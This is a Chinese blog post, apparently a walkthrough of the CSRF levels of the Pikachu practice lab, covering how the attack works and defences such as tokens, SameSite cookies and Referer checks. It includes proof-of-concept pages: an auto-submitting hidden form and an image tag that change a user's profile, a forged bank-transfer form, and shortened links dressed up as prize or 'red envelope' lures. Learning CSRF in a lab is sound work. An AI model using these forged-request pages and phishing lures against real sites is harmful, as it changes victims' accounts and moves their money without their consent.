当前位置: 首页 > news >正文

Pikachu靶场-CSRF

CSRF (跨站请求伪造) 详细介绍与技术分析

一、什么是 CSRF?

CSRF(Cross-Site Request Forgery,跨站请求伪造),是一种利用已认证用户的身份,诱使该用户执行恶意操作的攻击手段。攻击者通过伪造一个用户请求,冒充用户进行操作,最终导致用户在不知情的情况下执行恶意请求。与 XSS(跨站脚本攻击)不同,CSRF 不需要用户浏览器执行恶意代码,而是通过直接发送伪造请求来完成攻击。

二、CSRF 攻击的基本原理

CSRF 攻击的关键在于利用用户在目标站点上的认证信息(如 Cookie),欺骗用户在不知情的情况下发起操作请求。这类攻击的攻击者并不直接控制用户的浏览器,而是通过让用户的浏览器发出请求来达到攻击目的。

攻击流程概述:

  1. 用户登录目标网站:用户通过用户名和密码登录到一个支持 Cookie 或 Session 的网站(比如在线银行、社交平台等)。
  2. 攻击者诱导用户访问恶意网站:攻击者通过电子邮件、社交媒体、或钓鱼网站等方式,诱使已登录的用户访问其精心设计的恶意页面。
  3. 恶意页面向目标网站发送请求:攻击者的恶意页面通常包含一个指向目标站点的请求(如修改密码、转账、删除账户等),这个请求会携带用户的认证信息(如 Cookie)。
  4. 目标网站执行请求:目标网站因无法区分请求是否为恶意发起,便执行了攻击者伪造的请求。最终,攻击者达到自己的目的(例如修改用户的个人信息、转账等)。

攻击的核心要素:

  1. 受害者的身份认证:CSRF 攻击依赖于用户已经在目标网站上进行了身份验证,且认证信息通常通过 Cookie 机制进行存储和传递。用户已经登录并有足够的权限,攻击者就能利用用户的身份进行伪造请求。
  2. 请求伪造:攻击者伪造了用户请求,通常是通过一些技术手段(如提交隐藏表单、构造带有恶意参数的 URL、利用图片请求等)来触发恶意操作。
  3. 无意识的用户:CSRF 攻击的受害者通常没有察觉自己已被攻击,因为攻击不需要用户的任何交互动作。用户可能只是点击了一个链接或打开了一个网页,恶意请求就在背后悄无声息地完成。

 

三、CSRF 攻击的实例

1. 修改用户信息

假设某个社交网站的用户资料可以通过如下的 HTTP 请求修改:

POST /update_profile HTTP/1.1
Host: example.com
Cookie: session_id=abcd1234
Content-Type: application/x-www-form-urlencoded

username=newuser&email=newuser@example.com&password=newpassword

攻击者可以通过以下方式诱使已登录的用户发起修改请求:

  • 攻击者构造恶意网页,其中包含如下内容:

<html>
  <body>
    <img src="http://example.com/update_profile?username=attacker&email=attacker@example.com&password=attacker123" />
  </body>
</html>

  • 用户点击恶意链接,由于用户已经在 example.com 登录,浏览器会自动带上 Cookie(session_id=abcd1234),从而提交伪造的请求。目标网站无法区分是正常用户发起的请求还是恶意请求,因此会错误地修改用户信息。

2. 银行转账攻击

假设一个在线银行的转账请求通过以下 HTTP 请求实现:

POST /transfer HTTP/1.1
Host: bank.com
Cookie: session_id=abcd1234
Content-Type: application/x-www-form-urlencoded

amount=1000&to_account=attacker_account

攻击者可以通过构造一个恶意网页,诱使用户点击按钮进行资金转账:

<html>
  <body>
    <form action="http://bank.com/transfer" method="POST">
      <input type="hidden" name="amount" value="1000" />
      <input type="hidden" name="to_account" value="attacker_account" />
      <input type="submit" value="Click me to win a prize!" />
    </form>
  </body>
</html>

当用户在银行站点上登录并打开恶意页面时,浏览器会携带用户的身份认证信息(如 session_id)并提交转账请求,导致资金转账到攻击者账户。

 

四、如何防止 CSRF 攻击?

防御 CSRF 攻击通常需要从多个角度进行考虑,主要有以下几种防护方法:

1. 使用 CSRF Token(防御最有效的方式)

在每个敏感请求(如修改密码、提交表单等)中引入 CSRF Token。Token 是一个唯一且随机生成的字符串,每个请求都必须包含该 Token,且 Token 在服务器端存储并与请求验证。

  • 生成 Token: 服务器在生成页面时,随机生成一个 CSRF Token,将其存储在服务器端,并将该 Token 插入到页面中作为一个隐藏字段。

<?php
session_start();
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
?>
<form action="update_profile.php" method="POST">
  <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>" />
  <!-- 表单字段 -->
  <input type="submit" value="Update Profile" />
</form>

  • 验证 Token: 服务器收到表单请求时,验证请求中提交的 CSRF Token 是否与服务器端存储的 Token 匹配。

<?php
session_start();
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
  die('CSRF token validation failed.');
}
// 继续处理请求
?>

这种方式通过确保每次请求都需要带上唯一的 Token,有效地防止了 CSRF 攻击,因为攻击者无法获得合法的 Token。

2. SameSite Cookie 属性

SameSite 是一种新的 Cookie 属性,用于防止第三方网站通过跨站点请求伪造攻击来发送 Cookie。通过将 SameSite 设置为 Strict 或 Lax,可以有效避免浏览器在跨站请求时发送 Cookie。

  • SameSite=Strict:只有在当前网站直接访问时,浏览器才会发送 Cookie。即使用户点击了来自其他网站的链接,Cookie 也不会发送。
  • SameSite=Lax:只要用户从当前网站直接访问或通过 GET 请求进行请求,浏览器会发送 Cookie。
  • SameSite=None:如果设置为 None,则可以在跨站请求中发送 Cookie,但必须同时设置 Secure(即 HTTPS)。

Set-Cookie: session_id=abcd1234; SameSite=Strict; Secure

3. 使用 Referer 或 Origin 验证

服务器可以检查请求中的 Referer 或 Origin HTTP 头部,以确认请求是否来自可信来源。这个方法可以确保请求是从同一站点发起的,而不是来自恶意站点。

<?php
$referer = $_SERVER['HTTP_REFERER'];
$origin = $_SERVER['HTTP_ORIGIN'];

if (strpos($referer, "Example Domain") === false && strpos($origin, "Example Domain") === false) {
  die('Invalid referer or origin.');
}
// 继续处理请求
?>

4. 双重验证(如 OTP)

在执行重要操作时(如修改账户信息或资金转账),要求用户输入二次验证信息,例如通过邮件或短信发送一次性密码(OTP)。这样即使攻击者通过 CSRF 发起请求,也需要获取第二次验证的信息才能完成操作。

 

五、总结

CSRF 攻击是一种相对简单但非常危险的攻击方式,它依赖于用户的身份认证信息,通过伪造用户请求来进行攻击。防御 CSRF 攻击的有效方法包括使用 CSRF Token、利用 SameSite Cookie 属性、验证 Referer 或 Origin 头部、以及使用双重身份验证等。

 

CSRF攻击流程分析

  1. 用户认证
    用户登录目标网站(如银行),服务器颁发会话Cookie,浏览器保存该凭证。
  2. 漏洞存在
    目标网站未部署CSRF防护措施(如CSRF Token、同源验证等)。
  3. 构造恶意请求
    攻击者伪造目标网站的关键操作请求(如转账),并设计自动触发方式(如隐藏表单、图片标签)。
  4. 设置陷阱
    攻击者创建包含恶意请求的页面或链接,并通过钓鱼邮件、恶意广告等方式诱导用户访问。
  5. 用户触发请求
    用户访问陷阱页面,浏览器自动发送恶意请求(携带已保存的会话Cookie)。
  6. 服务器处理请求
    目标服务器验证Cookie有效,误认为请求合法并执行操作(如转账)。
  7. 攻击完成
    恶意操作成功执行,用户数据或资产被篡改。

+-------------------+     +---------------------+     +-----------------------+
| 用户登录目标网站   | --> | 目标网站无CSRF防护  | --> | 攻击者构造恶意请求     |
+-------------------+     +---------------------+     +-----------------------+
                                                         |                                       |
                                                         v                                       v
+-------------------+     +---------------------+     +-----------------------+
| 用户访问陷阱页面   | <-- | 攻击者诱骗用户点击   | <-- | 陷阱页面嵌入恶意请求    |
+-------------------+     +---------------------+     +-----------------------+
                                                         |
                                                         v
+-------------------+        +-----------------------+
| 浏览器发送恶意请求 | --> | 目标服务器执行操作    |
+-------------------+        +-----------------------+
                                                        |
                                                        v
                                         +-------------------+
                                        | 攻击成功(如转账) |
                                         +-------------------+

一,GETCSRF

1,通过提示拿到一些用户名密码

登录成功

看看修改个人信息的功能

2,然后使用burpsuite抓取修改信息操作时候存在的请求包

CSRF漏洞分析及利用方式

漏洞存在性分析

  1. 关键操作使用GET请求
  • 示例请求为GET方法,参数包含敏感操作(如修改用户信息)。
  • 风险:GET请求可通过URL、图片标签、链接等自动触发,无需用户交互,易被CSRF利用。
  1. 缺乏CSRF防护机制
  • 请求中未包含CSRF Token、自定义Header或双重验证。
  • 服务器仅依赖Cookie(PHPSESSID)验证身份,未检查请求来源的合法性。
  1. Cookie未设置SameSite属性
  • Cookie未启用SameSite=StrictLax,跨站请求时会自动携带会话凭证。
  1. Referer检查不严格
  • 请求的Referer字段指向同域页面,但若服务器未严格验证Referer(如允许空Referer或子域),攻击者可绕过。

漏洞利用方式

攻击者可构造恶意页面或链接,诱导已登录用户访问,触发自动请求。

步骤示例

  1. 构造恶意请求
    修改URL参数,指向攻击目标:
    http://192.168.23.154/06/vul/csrf/csrfget/csrf_get_edit.php?
    sex=attacker&
    phonenum=123456&
    add=attack_address&
    email=attacker@example.com&
    submit=submit
  • 生成一个短链接供受害者点击:https://monojson.com/s/6YsuL

个人信息成功被修改

  1. 设计触发方式
  • 图片标签自动加载(无需用户点击):
    <img src="
    https://monojson.com/s/6YsuL" />
    隐藏表单自动提交(通过JS触发):
    <iframe style="display:none" name="csrf-frame"></iframe>
    <form action="
    https://monojson.com/s/6YsuL" method="GET" target="csrf-frame">
      <input type="submit" value="Submit" />
    </form>
    <script>document.forms[0].submit();</script>
  1. 钓鱼链接诱导点击
    <a href="
    https://monojson.com/s/6YsuL">点击领取红包</a>
    诱导用户访问陷阱
    通过钓鱼邮件、恶意广告、论坛帖子等传播陷阱页面。
  2. 触发攻击
    用户访问陷阱页面时,浏览器自动发送携带Cookie的GET请求,服务器误认为合法操作并执行修改。

源代码分析

1. 使用GET请求处理敏感操作(退出登录)

// csrf_get.php 中处理退出的代码
if(isset($_GET['logout']) && $_GET['logout'] == 1){
    session_unset();
    session_destroy();
    setcookie(session_name(),'',time()-3600,'/');
    header("location:csrf_get_login.php");
}

  • 漏洞成因
    通过
    $_GET['logout']参数直接触发退出登录操作,攻击者可构造恶意链接(如http://site/csrf_get.php?logout=1)强制用户退出会话。

2. 个人信息修改功能未防护CSRF

// 页面中生成修改个人信息链接的代码
<a class="edit" href="csrf_get_edit.php">修改个人信息</a>

  • 漏洞成因
    假设
    csrf_get_edit.php通过GET/POST处理数据修改时未校验请求来源或使用CSRF Token,攻击者可构造恶意请求直接修改用户信息。

3. 缺乏全局CSRF防御机制

  • 无Token验证
    代码中未在任何敏感操作(如退出、修改信息)中使用CSRF Token。
  • 未校验Referer
    未检查请求头中的
    Referer字段是否来自合法源。
  • Cookie未设置SameSite属性
    Session Cookie未启用
    SameSite=Strict/Lax,导致浏览器自动携带Cookie到跨站请求中。

总结

关键漏洞代码集中在:

  1. GET型敏感操作(如退出登录)
  2. 未防护的修改功能入口(如csrf_get_edit.php的调用)
  3. 缺失的CSRF防御逻辑(Token、Referer、Cookie加固)

二,POSTCSRF

1,网站的功能是一样的,只不过提交请求的方式变成了POST型

  • 无CSRF Token防护:请求参数中未包含动态生成的Token,攻击者可直接伪造请求。
  • 依赖Session Cookie身份验证:仅通过PHPSESSID Cookie验证用户身份,未设置SameSite属性,浏览器会跨域自动携带Cookie。
  • 未校验Referer/Origin:虽然请求头包含OriginReferer,但服务端未验证其合法性(允许任意来源)。

2. 攻击可行性

  • 修改用户敏感信息(性别、手机、地址、邮箱)的操作通过简单POST请求完成,可直接用HTML表单构造。
  • 攻击者可诱骗已登录用户访问恶意页面,自动提交伪造请求,实现信息篡改。

构造自动提交的HTML表单

<!-- 托管在攻击者服务器 http://192.168.99.74.com/exploit.html -->
<html>
  <body>
    <form
      action="http://192.168.23.154/06/vul/csrf/csrfpost/csrf_post_edit.php"
      method="POST"
      id="csrfForm"
    >
      <input type="hidden" name="sex" value="2">
      <input type="hidden" name="phonenum" value="6666666666">
      <input type="hidden" name="add" value="Hacker's Address">
      <input type="hidden" name="email" value="hacker@evil.com">
      <input type="hidden" name="submit" value="submit">
    </form>
    <script>
      document.getElementById('csrfForm').submit(); // 自动提交表单
    </script>
  </body>
</html>

2. 短链诱导用户点击

<!-- 伪装成正常链接诱导点击 -->
<a href="https://monojson.com/s/GtCeu">点击领取红包</a>

3. 利用效果

  • 用户访问恶意页面后,表单自动提交,其个人信息会被修改为攻击者预设的值。
  • 由于浏览器自动携带Cookie,服务端认为这是用户的合法操作。

三,CSRFtoken

1,抓包分析漏洞存在

漏洞存在理由

1. 敏感操作使用GET请求

GET /06/vul/csrf/csrftoken/token_get_edit.php?sex=1&...&token=770206800c173d308b183726581&submit=submit

  • 问题:修改用户信息(性别、手机号、地址等)通过GET请求完成,参数直接暴露在URL中。即使有Token,攻击者仍可诱导用户访问恶意链接触发操作。

2. Token泄露风险

  • Token传递方式不安全:Token通过URL参数明文传输(token=770206800c173d308b183726581),可能被浏览器历史记录、Referer头、日志等泄露。
  • Token可被预测/重放:若Token生成算法不安全(如时间戳哈希、弱随机数),攻击者可能预测或重放有效Token。

3. 缺乏其他防御措施

  • 未校验Referer/Origin头:未验证请求来源是否为合法域名,攻击者可构造跨域请求。
  • Cookie未设置SameSite属性:Session Cookie(PHPSESSID)未启用SameSite=Lax/Strict,跨域请求仍会携带Cookie。

漏洞验证与利用

攻击场景

假设用户已登录系统,且攻击者通过某种方式获取了当前用户的Token(例如诱导用户访问恶意页面窃取Token,或Token生成算法可预测)。

 

 

相关文章:

Pikachu靶场-CSRF

CSRF (跨站请求伪造) 详细介绍与技术分析 一、什么是 CSRF? CSRF&#xff08;Cross-Site Request Forgery&#xff0c;跨站请求伪造&#xff09;&#xff0c;是一种利用已认证用户的身份&#xff0c;诱使该用户执行恶意操作的攻击手段。攻击者通过伪造一个用户请求&#xff0c…...

Flask(3): 在Linux系统上部署项目

1 前言 说实话&#xff0c;我并不想接触linux系统&#xff0c;要记住太多的命令。我更习惯windows系统&#xff0c;鼠标点点&#xff0c;只要记住少量的命令就可以了。 但是我选择了python&#xff0c;就注定无法逃避linux系统。虽然python也能在windows上很好的运行&#xff0…...

React JSX 语法深度解析与最佳实践

本文系统梳理 JSX 语法的完整知识体系。通过原理剖析、代码示例和开发警示&#xff0c;帮助开发者建立严谨的 JSX 使用认知。 一、JSX 本质解析 1.1 编译机制 JSX 通过 Babel 转换为 React.createElement 调用&#xff0c;以下为转换对照&#xff1a; // 原始 JSX <MyCo…...

岚图L3智能架构发布,9大首发新技术引领电动车变革

4月16日&#xff0c;岚图汽车在北京举办了L3级智能架构技术发布会&#xff0c;发布岚图天元智架。 据「TMT星球」了解&#xff0c;天元智架首发青云L3级智能安全行驶平台与鲲鹏L3级智能安全驾驶系统两大核心智能化技术集群&#xff0c;融合多项先进技术与黑科技&#xff0c;推…...

Nginx | Apache 配置 WebSocket 多层代理基本知识(附疑难杂症)

目录 前言1. 问题所示2. 基本知识3. 原理分析3.1 返回2003.2 返回4003.3 返回5004. 彩蛋前言 🤟 找工作,来万码优才:👉 #小程序://万码优才/r6rqmzDaXpYkJZF 爬虫神器,无代码爬取,就来:bright.cn 1. 问题所示 本地测试可以,上了域名的测试就不行了! WebSocket con…...

山东大学软件学院创新项目实训开发日志(18)之对话自动生成标题设为用户第一次对话发的文字

本次功能的实现主要集中在后端&#xff0c;前端代码不用改变&#xff1a; 前端界面效果展示&#xff1a;...

【web考试系统的设计】

文章目录 一、实验背景与目的二、实验设计与实现思路1. 功能架构2. 核心代码实现 总结 一、实验背景与目的 本次实验旨在深入理解Request、response对象的作用&#xff0c;Request对象的作用是与客户端交互&#xff0c;收集客户端的Form、Cookies、超链接&#xff0c;或者收集…...

【MySQL】库的操作

&#x1f3e0;个人主页&#xff1a;Yui_ &#x1f351;操作环境&#xff1a;Centos7 &#x1f680;所属专栏&#xff1a;MySQL 文章目录 1. 创建一个数据库1.1 创建一个数据库&#xff08;演示 2. 字符集和校验规则2.1 字符集2.2 校验规则2.3 知识补充&#xff1a;&#xff09;…...

Face Swap 1.3.8| 解锁专业版,无限制换脸,视频换脸,释放您的创造力

Face Swap Pro - AI Photo Editor 「换脸 - AI 照片编辑器」释放您的创造力&#xff01;通过换脸 - AI 照片编辑器&#xff0c;将您的想象变为现实&#xff0c;这是在照片和视频中交换人脸的终极应用程序。无论您是想探索不同的造型&#xff0c;穿越到另一个时代&#xff0c;还…...

AUTOSAR图解==>AUTOSAR_SWS_DefaultErrorTracer

AUTOSAR 默认错误追踪器(Default Error Tracer)详细分析 基于AUTOSAR 4.4.0规范的深入解析 目录 概述 DET模块的作用DET模块的定位 架构设计 模块架构接口设计 状态与行为 状态转换错误报告流程 API与数据结构 API概览数据类型定义 配置与扩展 模块配置回调机制 总结 1. 概述 …...

【hadoop】master一键启动hadoop集群(高可用)

之前写了一篇【hadoop】master一键启动zkServer-CSDN博客 现在是最好的安排&#xff1a; 1. cd ~ vim hadoop-all.sh #!/bin/bash# 检查参数是否为 start 或 stop if [ "$1" "start" ]; then# 启动服务sh ~/zk-all.sh startstart-dfs.shstart-yarn.s…...

细说STM32单片机FreeRTOS任务管理API函数及多任务编程的实现方法

目录 一、FreeRTOS任务管理API函数 1、任务管理API函数 2、获取任务的句柄 &#xff08;1&#xff09;函数xTaskGetCurrentTaskHandle() &#xff08;2&#xff09;函数xTaskGetIdleTaskHandle() &#xff08;3&#xff09;函数xTaskGetHandle() 3、单个任务的操作 &a…...

从0开始掌握动态规划

动态规划的核心思想 -- 以空间换时间 复杂点说通过分解问题为子问题并存储子问题解来优化复杂计算的算法策略。 简单看个问题。 一&#xff0c;初始&#xff1a;求最长连续递增子序列 nums [10,9,2,5,3,7,101,18] 求上面数组中的最长连续递增子序列&#xff0c;输出其长度 …...

解锁向量数据库:实现高效过滤与管理的实用方法

1. 带过滤的相似性搜索 大多数向量数据库不仅可以存储向量数据&#xff0c;还支持存储相关元数据。这些元数据可以包括文本原文、扩展信息、页码、文档 ID、作者、创建时间等自定义信息&#xff0c;通常用于实现数据检索。 向量数据库记录 向量(vector)元数据(metadata)id遗…...

数码管LED显示屏矩阵驱动技术详解

1. 矩阵驱动原理 矩阵驱动是LED显示屏常用的一种高效驱动方式&#xff0c;利用COM&#xff08;Common&#xff0c;公共端&#xff09;和SEG&#xff08;Segment&#xff0c;段选&#xff09;线的交叉点控制单个LED的亮灭。相比直接驱动&#xff0c;矩阵驱动可以显著减少所需I/…...

C++模板初阶

1.函数模板 模板是C中一个非常重要的东西&#xff0c;也是下一步学stl的最后一块拼图。那看看最后一块拼图是什么呢&#xff1f;C祖师爷在写C语言时遇到了有个非常难受的地方&#xff1a; 遇到有很多类型变量交换的时候就要写不同的交换函数&#xff0c;再新增类型的交换还要…...

第六章:6.3求一个3*3的整型矩阵对角线元素之和

//求一个3*3的整型矩阵对角线元素之和 #define _CRT_SECURE_NO_WARNINGS #include<stdio.h> int main() {int i 0, j 0;int arr[3][3] { 0 };printf("请输入一个3*3的矩阵:\n");for (i 0; i < 3; i){for (j 0; j < 3; j){scanf("%d", …...

Oracle 19c部署之初始化实例(三)

上一篇文章中&#xff0c;我们已经完成了数据库软件安装&#xff0c;接下来我们需要进行实例初始化工作。 一、初始化实例的两种方式 1.1 图形化初始化实例 描述&#xff1a;图形化初始化实例是通过Oracle的Database Configuration Assistant (DBCA)工具完成的。用户通过一系…...

RAGFlowwindows本地pycharm运行

Python环境准备 1. 安装pipx。如已经安装&#xff0c;可跳过本步骤&#xff1a; python -m pip install --user pipxpython -m pipx ensurepath## 验证安装pipx --version2. 安装 uv。如已经安装&#xff0c;可跳过本步骤&#xff1a; pipx install uv ## 设置为阿里云 PyPI…...

阿里云RAM账号免密登录Java最佳实践

参考官方文章地址&#xff1a;如何使用免登访问流程_阿里云集成转售解决方案-阿里云帮助中心 参考代码地址&#xff1a;如何使用安全访问服务Python及Java示例代码_阿里云集成转售解决方案-阿里云帮助中心 1. RAM的含义 阿里云的访问控制RAM&#xff08;Resource Access Manag…...

基于LightRAG进行本地RAG部署(包括单卡多卡本地模型部署、调用阿里云或DeepSeekAPI的部署方法、RAG使用方法)

1.简介 RAG&#xff08;Retrieval-Augmented Generation&#xff09;是一种结合了检索&#xff08;Retrieval&#xff09;和生成&#xff08;Generation&#xff09;的自然语言处理模型架构。它旨在解决传统生成模型在面对复杂任务时可能出现的生成内容缺乏准确性和多样性的不…...

GPIO输出模式

这个 typedef enum 是 STM32 中 GPIO 模式的定义&#xff0c;每一个模式都代表着 GPIO 引脚的不同工作方式。不同的模式会影响引脚的输入或输出状态&#xff0c;以及是否具有其他功能&#xff08;如外设功能&#xff09;。接下来&#xff0c;我将详细解释每个模式的作用和如何使…...

Linux,redis数据库安装使用

Redis 非关系型数据库 介绍 安装 主从模式 哨兵模式 集群模式 redis 数据类型/增删改查 redis 持久化 redis 雪崩 击穿 穿透 LAMPredis 数据迁移 git redis 安装部署 1&#xff0c;下载或者上传redis 6.2.14 wget http://download.redis.io/releases/redis-6.2.14.tar.gz …...

3DS 转 STL 全攻略:传统工具与迪威模型网在线转换深度解析

在 3D 建模与 3D 打印的技术领域中&#xff0c;常常会遇到需要将不同格式的文件进行转换的情况。其中&#xff0c;把 3DS 文件转换为 STL 格式是较为常见的操作。3DS 文件作为一种旧版 Autodesk 3D Studio 使用的 3D 图像格式&#xff0c;存储着丰富的信息&#xff0c;包括网格…...

最新Spring Security实战教程(十一)CSRF攻防实战 - 从原理到防护的最佳实践

&#x1f337; 古之立大事者&#xff0c;不惟有超世之才&#xff0c;亦必有坚忍不拔之志 &#x1f390; 个人CSND主页——Micro麦可乐的博客 &#x1f425;《Docker实操教程》专栏以最新的Centos版本为基础进行Docker实操教程&#xff0c;入门到实战 &#x1f33a;《RabbitMQ》…...

远程医疗系统安全升级:构建抗CC攻击的全方位防护网

随着云计算、大数据和互联网技术的不断发展&#xff0c;远程医疗系统正在逐步走进大众视野&#xff0c;为患者提供便捷高效的医疗服务。然而&#xff0c;远程医疗系统在便利性的背后也面临着严峻的网络安全挑战&#xff0c;其中&#xff0c;CC攻击&#xff08;Challenge Collap…...

【Java学习笔记】进制与进制转换

进制与进制转换 一、进制介绍 二进制&#xff1a;0、1&#xff0c;满 2 进 1&#xff0c;以 0b 或 0B 开头。 十进制&#xff1a;0-9&#xff0c;满 10 进 1。 八进制&#xff1a;0-7&#xff0c;满 8 进 1&#xff0c;以数字 0 开头表示。 十六进制&#xff1a;0-9 及 A(10…...

《SpringBoot中@Scheduled和Quartz的区别是什么?分布式定时任务框架选型实战》​

&#x1f31f; ​大家好&#xff0c;我是摘星&#xff01;​ &#x1f31f; 今天为大家带来的是Scheduled和Quartz对比分析&#xff1a; 新手常见困惑&#xff1a; 刚学SpringBoot时&#xff0c;我发现用Scheduled写定时任务特别简单。但当我看到同事在项目里用Quartz时&…...

RestSharp和Newtonsoft.Json结合发送和解析http

1.下载RestSharp和Newtonsoft.Json 2编写ApiRequest和ApiResponse和调用工具类HttpRestClient 请求模型 /// <summary>/// 请求模型/// </summary>public class ApiRequest{/// <summary>/// 请求地址/api路由地址/// </summary>public string Route {…...

[图论]Kruskal

Kruskal 本质&#xff1a;贪心&#xff0c;对边进行操作。存储结构&#xff1a;边集数组。适用对象&#xff1a;可为负权图&#xff0c;可求最大生成树。核心思想&#xff1a;最短的边一定在最小生成树(MST)上&#xff0c;对最短的边进行贪心。算法流程&#xff1a;对全体边集…...

腾讯云对象存储以及项目业务头像上传

腾讯云上传步骤&#xff1a; service-vod模块化中 ①、参考文档&#xff0c;引入依赖 ②、配置文件application.properties ③、创建工具类 初始化bean的时候读取配置文件 Component public class ConstantPropertiesUtil implements InitializingBean{Value("${t…...

Windows下导入文件中的环境变量

在Windows批处理脚本&#xff08;.bat&#xff09;中&#xff0c;通过文件获取并设置环境变量通常涉及逐行读取文件内容并动态赋值给变量。以下是具体实现方法及示例&#xff1a; 一、从文件读取变量并设置到环境变量 假设有一个配置文件&#xff08;如env_config.txt&#xf…...

【音视频开发】第五章 FFmpeg基础

【音视频开发】第五章 FFmpeg基础 文章目录 【音视频开发】第五章 FFmpeg基础一、播放器框架1.媒体文件读取阶段2.音频处理流程3.视频处理流程 二、常用音视频概念1.常用音视频术语2.复用器3.编解码器 三、FFmpeg 库1.整体结构 四、FFmpeg 常用函数1.libavformat 封装/解封装2.…...

【ESP32|音频】一文读懂WAV音频文件格式【详解】

简介 最近在学习I2S音频相关内容&#xff0c;无可避免会涉及到关于音频格式的内容&#xff0c;所以刚开始接触的时候有点一头雾水&#xff0c;后面了解了下WAV相关内容&#xff0c;大致能够看懂wav音频格式是怎么样的了。本文主要为后面ESP32 I2S音频系列文章做铺垫&#xff0…...

数据通信学习笔记之OSPF路由汇总

区域间路由汇总 路由汇总又被称为路由聚合&#xff0c;即是将一组前缀相同的路由汇聚成一条路由&#xff0c;从而达到减小路由表规模以及优化设备资源利用率的目的&#xff0c;我们把汇聚之前的这组路由称为精细路由或明细路由&#xff0c;把汇聚之后的这条路由称为汇总路由或…...

【C++】priority_queue的底层封装和实现

目录 前言基本结构如何设置默认大小堆底层实现仿函数的使用向上调整算法向下调整算法其他接口 end 前言 priority_queue的介绍 优先级队列默认使用vector作为其底层存储数据的容器&#xff0c;在vector上又使用了堆算法将vector中的元素构造成堆的结构&#xff0c;因此priorit…...

2023年全国青少年信息素养大赛 Python编程挑战赛 小学全年级组 初赛真题答案详细解析

2023信息素养大赛 Python编程挑战赛 选择题&#xff08;共15题&#xff0c;每题5分&#xff0c;共75分&#xff09; 1、关于列表的索引&#xff0c;下列说法正确的是 A、列表的索引从0开始 B、列表的索引从1开始 C、列表中可能存在两个元素的索引一致 D、列表中索引的最大…...

十三种通信接口芯片——《器件手册--通信接口芯片》

目录 通信接口芯片 简述 基本功能 常见类型 应用场景 详尽阐述 1 RS485/RS422芯片 1. RS485和RS422标准 2. 芯片功能 3. 典型芯片及特点 4. 应用场景 5. 设计注意事项 6. 选型建议 2 RS232芯片 1. RS232标准 2. 芯片功能 3. 典型芯片及特点 4. 应用场景 5. 设计注意事项 6…...

PyTorch生成式人工智能实战(1)——神经网络与模型训练过程详解

PyTorch生成式人工智能实战&#xff08;1&#xff09;——神经网络与模型训练过程详解 0. 前言1. 传统机器学习与人工智能2. 人工神经网络基础2.1 人工神经网络组成2.2 神经网络的训练 3. 前向传播3.1 计算隐藏层值3.2 执行非线性激活3.3 计算输出层值3.4 计算损失值3.5 实现前…...

【软件系统架构】事件驱动架构

一、引言 在当今的软件开发和系统架构领域&#xff0c;事件驱动架构&#xff08;Event - Driven Architecture&#xff0c;EDA&#xff09;正逐渐成为构建复杂、分布式和可扩展系统的热门选择。随着信息技术的不断发展&#xff0c;传统的架构模式在应对高并发、实时性要求高、数…...

Doris FE 常见问题与处理指南

在数据仓库领域&#xff0c;Apache Doris 凭借其卓越性能与便捷性被广泛应用。其中&#xff0c;FE&#xff08;Frontend&#xff09;作为核心组件&#xff0c;承担着接收查询请求、管理元数据等关键任务。然而&#xff0c;在实际使用中&#xff0c;FE 难免会遭遇各类问题&#…...

Manus AI “算法-数据-工程“三位一体的创新

Manus AI在多语言手写识别领域的技术突破&#xff0c;通过算法创新、数据工程与场景适配的协同作用&#xff0c;解决了传统手写识别的核心痛点。以下是其关键技术路径与创新点的系统性分析&#xff1a; 一、深度学习模型与算法优化 混合神经网络架构Manus AI采用"CNN与LST…...

Flutter Expanded 与 Flexible 详解

目录 1. 引言 2. Expanded 的基本用法 3. Flexible 的基本用法 4. Expanded vs Flexible 的区别 4.1 基础定义 4.2 关键差异 5. Expanded 深度解析 5.1 按比例分配 5.2 强制填充特性 6. Flexible 深度解析 6.1 基础用法&#xff1a;动态收缩 6.2 结合 fit 参数控制…...

乘用车制动系统设计:保障行车安全的核心技术

摘要 随着汽车工业的快速发展&#xff0c;乘用车制动系统的设计至关重要。本文详细阐述了乘用车制动系统的工作原理、组成部分、常见类型&#xff0c;深入分析了制动系统设计过程中的关键要点&#xff0c;包括制动力分配、制动管路设计、制动助力系统选型等。同时&#xff0c;…...

电力行业在保障用电安全方面正积极采用先进的物联网技术

电力行业在保障用电安全方面正积极采用先进的物联网技术 电力行业的物联网安全用电监管装置正发挥着至关重要的作用。 ASCO 电不着安全用电装置凭借其卓越的性能&#xff0c;成为了解决用电安全问题的得力助手。 当电漏电这种危险情况悄然发生时&#xff0c;物联网 ASCO 电不着…...

TDengine 语言连接器(PHP)

简介 PHP 语言广泛用于 Web 开发的开源脚本语言。它语法简单&#xff0c;容易学习&#xff0c;既支持面向过程&#xff0c;也支持面向对象编程。具有跨平台性&#xff0c;能与多种数据库交互&#xff0c;可与 HTML 等前端技术配合&#xff0c;动态生成网页内容。常用于开发各类…...

使用docker该怎么做:从公有仓库拉取镜像并上传到私有仓库

在容器化部署中&#xff0c;将公有镜像仓库&#xff08;如Docker Hub&#xff09;的镜像迁移到私有仓库&#xff08;如Harbor、Nexus&#xff09;是常见需求。 一、为什么需要将镜像从公有仓库传到私有仓库&#xff1f; 网络连通性&#xff1a;公有仓库依赖公网访问&#xff…...

list的使用

1&#xff1a;list文档 list文档 在之前我们对于链表有过最初始的模拟实现&#xff0c;现在进入C之后&#xff0c;我们可以在STL库中发现到链表这个容器的使用&#xff0c;list的底层也是我们最初实现的双向链表。 2&#xff1a;list的使用 list的接口有很多&#xff0c;我们…...

Redis遇到Hash冲突怎么办

在 Redis 中&#xff0c;哈希冲突通常是指当多个键的哈希值相同或位于相同的哈希槽中时发生冲突。Redis 通过底层的哈希表和一些冲突解决机制&#xff08;如开放地址法、链表法等&#xff09;来处理哈希冲突问题。这些通常是透明的&#xff0c;作为开发者&#xff0c;我们无需直…...

OpenCV 图形API(42)颜色空间转换-----将 BGR图像转换为 I420(YUV 4:2:0)格式函数BGR2I420()

操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 编程语言&#xff1a;C11 算法描述 将图像从BGR色彩空间转换为I420色彩空间。 该函数将输入图像从BGR色彩空间转换为I420。R、G和B通道值的传统范围是0到255。 输出图像必须是8位无…...